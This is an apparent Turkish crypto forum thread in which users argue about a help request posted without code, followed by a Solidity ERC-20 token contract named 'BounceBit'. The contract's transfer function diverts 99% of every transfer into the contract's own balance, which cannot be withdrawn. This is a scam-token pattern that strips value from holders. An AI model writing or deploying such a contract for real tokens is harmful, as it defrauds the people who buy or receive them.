Kadir847
Er
- BNB
- 0.00026078
Satoshiturk ailesine hoş geldin!
Burada, yatırım tavsiyesi vermeyip, hiçbir projeye para karşılığı destek çıkmadan, kripto dünyasının içinden gelen yöneticilerimizle doğru bilgiye ulaşabilirsin.
5 yıldır aksamadan yaptığımız ödemelerle güvenin adresiyiz.
Bizimle keşfet, öğren ve kripto sohbetlerine katıl. Seni aramızda görmekten mutluluk duyarız!
bence 80. satırda ki kodu kaldırmalı.76. satırdaki fonksiyonu kaldırın düzelecektir.
76. satırdaki fonksiyonu kaldırın düzelecektir.
Dalga geçiyormuş benimlebence 80. satırda ki kodu kaldırmalı.
garip bir konu olmuş kod yok bir şey yok ortada.
ban ban ban
Dalga geçmiyor. Ortada kod yokken kim nasıl yanlisiniza yorum yapsın. Lütfen yardım taleplerini bu ve bundan sonra detaylandirin ki yardım etmek isteyen insanlar yardım edebilsin.Dalga geçiyormuş benimle
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BounceBit is IERC20 {
string public constant name = "BounceBit";
string public constant symbol = "BB";
uint8 public constant decimals = 18;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor() {
_totalSupply = 1000000 * 10**uint256(decimals);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 taxAmount = amount * 99 / 100; // %99 vergi
uint256 transferAmount = amount - taxAmount;
_balances[sender] -= amount;
_balances[recipient] += transferAmount;
_balances[address(this)] += taxAmount;
emit Transfer(sender, recipient, transferAmount);
emit Transfer(sender, address(this), taxAmount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}